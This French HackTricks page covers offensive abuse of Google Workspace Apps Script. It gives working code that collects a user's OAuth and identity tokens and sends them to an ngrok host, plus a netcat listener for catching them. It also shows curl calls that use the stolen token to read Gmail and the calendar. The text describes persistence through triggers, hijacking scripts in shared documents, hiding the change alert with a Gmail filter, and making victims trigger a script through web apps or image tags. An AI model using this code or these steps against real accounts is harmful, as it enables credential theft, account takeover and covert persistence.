GWS - App Scripts

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

App Scripts

App Scripts est un code qui sera dĂ©clenchĂ© lorsqu’un utilisateur ayant des droits d’éditeur accĂšde au document auquel l’App Script est liĂ© et aprĂšs avoir acceptĂ© l’invite OAuth.
Ils peuvent Ă©galement ĂȘtre configurĂ©s pour ĂȘtre exĂ©cutĂ©s Ă  intervalles rĂ©guliers par le propriĂ©taire de l’App Script (Persistance).

Créer un App Script

Il existe plusieurs façons de crĂ©er un App Script, bien que les plus courantes soient Ă  partir d’un Document Google (de tout type) et en tant que projet autonome :

Créer un projet lié au conteneur à partir de Google Docs, Sheets ou Slides
  1. Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.
  2. Cliquez sur Extensions > Google Apps Script.
  3. Dans l’éditeur de script, cliquez sur Projet sans titre.
  4. Donnez un nom Ă  votre projet et cliquez sur Renommer.
Créer un projet autonome

Pour crĂ©er un projet autonome Ă  partir d’Apps Script :

  1. Allez sur script.google.com.
  2. Cliquez sur Nouveau projet.
  3. Dans l’éditeur de script, cliquez sur Projet sans titre.
  4. Donnez un nom Ă  votre projet et cliquez sur Renommer.
Créer un projet autonome à partir de Google Drive
  1. Ouvrez Google Drive.
  2. Cliquez sur Nouveau > Plus > Google Apps Script.
Créer un projet lié au conteneur à partir de Google Forms
  1. Ouvrez un formulaire dans Google Forms.
  2. Cliquez sur Plus more_vert > Éditeur de script.
  3. Dans l’éditeur de script, cliquez sur Projet sans titre.
  4. Donnez un nom Ă  votre projet et cliquez sur Renommer.
Créer un projet autonome en utilisant l'outil en ligne de commande clasp

clasp est un outil en ligne de commande qui vous permet de créer, tirer/pousser et déployer des projets Apps Script depuis un terminal.

Voir le Guide de l’interface en ligne de commande utilisant clasp pour plus de dĂ©tails.

Scénario App Script

Créer une feuille Google avec App Script

Commencez par crĂ©er un App Script, ma recommandation pour ce scĂ©nario est de crĂ©er une feuille Google et d’aller Ă  Extensions > App Scripts, cela ouvrira un nouvel App Script pour vous liĂ© Ă  la feuille.

Token de fuite

Pour donner accĂšs au token OAuth, vous devez cliquer sur Services + et ajouter des scopes comme :

  • AdminDirectory : AccĂ©der aux utilisateurs et groupes du rĂ©pertoire (si l’utilisateur a suffisamment de permissions)
  • Gmail : Pour accĂ©der aux donnĂ©es Gmail
  • Drive : Pour accĂ©der aux donnĂ©es Drive
  • Google Sheets API : Pour que cela fonctionne avec le dĂ©clencheur

Pour changer vous-mĂȘme les scopes nĂ©cessaires, vous pouvez aller dans les paramĂštres du projet et activer : Afficher le fichier manifeste "appsscript.json" dans l'Ă©diteur.

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

Pour capturer la requĂȘte, vous pouvez simplement exĂ©cuter :

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions demandées pour exécuter le App Script :

Warning

Comme une demande externe est faite, l’invite OAuth demandera Ă©galement la permission d’atteindre des points de terminaison externes.

Créer un déclencheur

Une fois que l’App est lue, cliquez sur ⏰ DĂ©clencheurs pour crĂ©er un dĂ©clencheur. Comme fonction Ă  exĂ©cuter, choisissez getToken, s’exĂ©cute au dĂ©ploiement Head, dans la source d’évĂ©nement sĂ©lectionnez From spreadsheet et le type d’évĂ©nement sĂ©lectionnez On open ou On edit (selon vos besoins) et enregistrez.

Notez que vous pouvez vĂ©rifier les exĂ©cutions des App Scripts dans l’onglet ExĂ©cutions si vous souhaitez dĂ©boguer quelque chose.

Partage

Pour dĂ©clencher le App Script, la victime doit se connecter avec AccĂšs Éditeur.

Tip

Le token utilisĂ© pour exĂ©cuter le App Script sera celui du crĂ©ateur du dĂ©clencheur, mĂȘme si le fichier est ouvert en tant qu’Éditeur par d’autres utilisateurs.

Abuser des documents Partagés avec Moi

Caution

Si quelqu’un vous a partagĂ© un document avec des App Scripts et un dĂ©clencheur utilisant le Head du App Script (pas un dĂ©ploiement fixe), vous pouvez modifier le code du App Script (ajoutant par exemple les fonctions de vol de token), y accĂ©der, et le App Script sera exĂ©cutĂ© avec les permissions de l’utilisateur qui vous a partagĂ© le document ! (notez que le token OAuth du propriĂ©taire aura comme scopes d’accĂšs ceux donnĂ©s lors de la crĂ©ation du dĂ©clencheur).

Une notification sera envoyĂ©e au crĂ©ateur du script indiquant que quelqu’un a modifiĂ© le script (Que diriez-vous d’utiliser les permissions gmail pour gĂ©nĂ©rer un filtre afin de prĂ©venir l’alerte ?)

Tip

Si un attaquant modifie les scopes du App Script, les mises Ă  jour ne seront pas appliquĂ©es au document jusqu’à ce qu’un nouveau dĂ©clencheur avec les changements soit créé. Par consĂ©quent, un attaquant ne pourra pas voler le token du propriĂ©taire crĂ©ateur avec plus de scopes que celui qu’il a dĂ©fini dans le dĂ©clencheur qu’il a créé.

Copier au lieu de partager

Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Si vous changez la fin “/edit” pour “/copy”, au lieu d’y accĂ©der, Google vous demandera si vous souhaitez gĂ©nĂ©rer une copie du document :

Si l’utilisateur le copie et y accĂšde, Ă  la fois les contenus du document et les App Scripts seront copiĂ©s, cependant les dĂ©clencheurs ne le sont pas, donc rien ne sera exĂ©cutĂ©.

Partager en tant qu’application Web

Notez qu’il est Ă©galement possible de partager un App Script en tant qu’application Web (dans l’Éditeur du App Script, dĂ©ployez en tant qu’application Web), mais une alerte comme celle-ci apparaĂźtra :

Suivie de l’invite OAuth typique demandant les permissions nĂ©cessaires.

Test

Vous pouvez tester un token recueilli pour lister les emails avec :

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lister le calendrier de l’utilisateur :

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script comme Persistance

Une option pour la persistance serait de crĂ©er un document et d’ajouter un dĂ©clencheur pour la fonction getToken et de partager le document avec l’attaquant afin que chaque fois que l’attaquant ouvre le fichier, il exfiltre le token de la victime.

Il est Ă©galement possible de crĂ©er un App Script et de le faire dĂ©clencher toutes les X minutes (comme chaque minute, heure, jour
). Un attaquant qui a compromis des identifiants ou une session d’une victime pourrait dĂ©finir un dĂ©clencheur temporel pour l’App Script et exfiltrer un token OAuth trĂšs privilĂ©giĂ© chaque jour :

Il suffit de crĂ©er un App Script, d’aller dans DĂ©clencheurs, de cliquer sur Ajouter un dĂ©clencheur, et de sĂ©lectionner comme source d’évĂ©nement BasĂ© sur le temps et de choisir les options qui vous conviennent le mieux :

Caution

Cela crĂ©era un e-mail d’alerte de sĂ©curitĂ© et un message push sur votre mobile vous alertant Ă  ce sujet.

Contournement de l’invite non vĂ©rifiĂ©e du document partagĂ©

De plus, si quelqu’un vous a partagĂ© un document avec accĂšs Ă©diteur, vous pouvez gĂ©nĂ©rer des App Scripts Ă  l’intĂ©rieur du document et le PROPRIÉTAIRE (crĂ©ateur) du document sera le propriĂ©taire de l’App Script.

Warning

Cela signifie que le crĂ©ateur du document apparaĂźtra comme crĂ©ateur de tout App Script que quiconque avec un accĂšs Ă©diteur crĂ©e Ă  l’intĂ©rieur.

Cela signifie Ă©galement que l’App Script sera de confiance par l’environnement Workspace du crĂ©ateur du document.

Caution

Cela signifie Ă©galement que si un App Script existait dĂ©jĂ  et que des personnes ont accordĂ© l’accĂšs, quiconque ayant la permission Éditeur sur le document peut le modifier et abuser de cet accĂšs.
Pour abuser de cela, vous avez Ă©galement besoin que des personnes dĂ©clenchent l’App Script. Et un truc astucieux est de publier le script en tant qu’application web. Lorsque les personnes qui ont dĂ©jĂ  accordĂ© l’accĂšs Ă  l’App Script accĂšdent Ă  la page web, elles dĂ©clencheront l’App Script (cela fonctionne Ă©galement en utilisant des balises <img>).

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks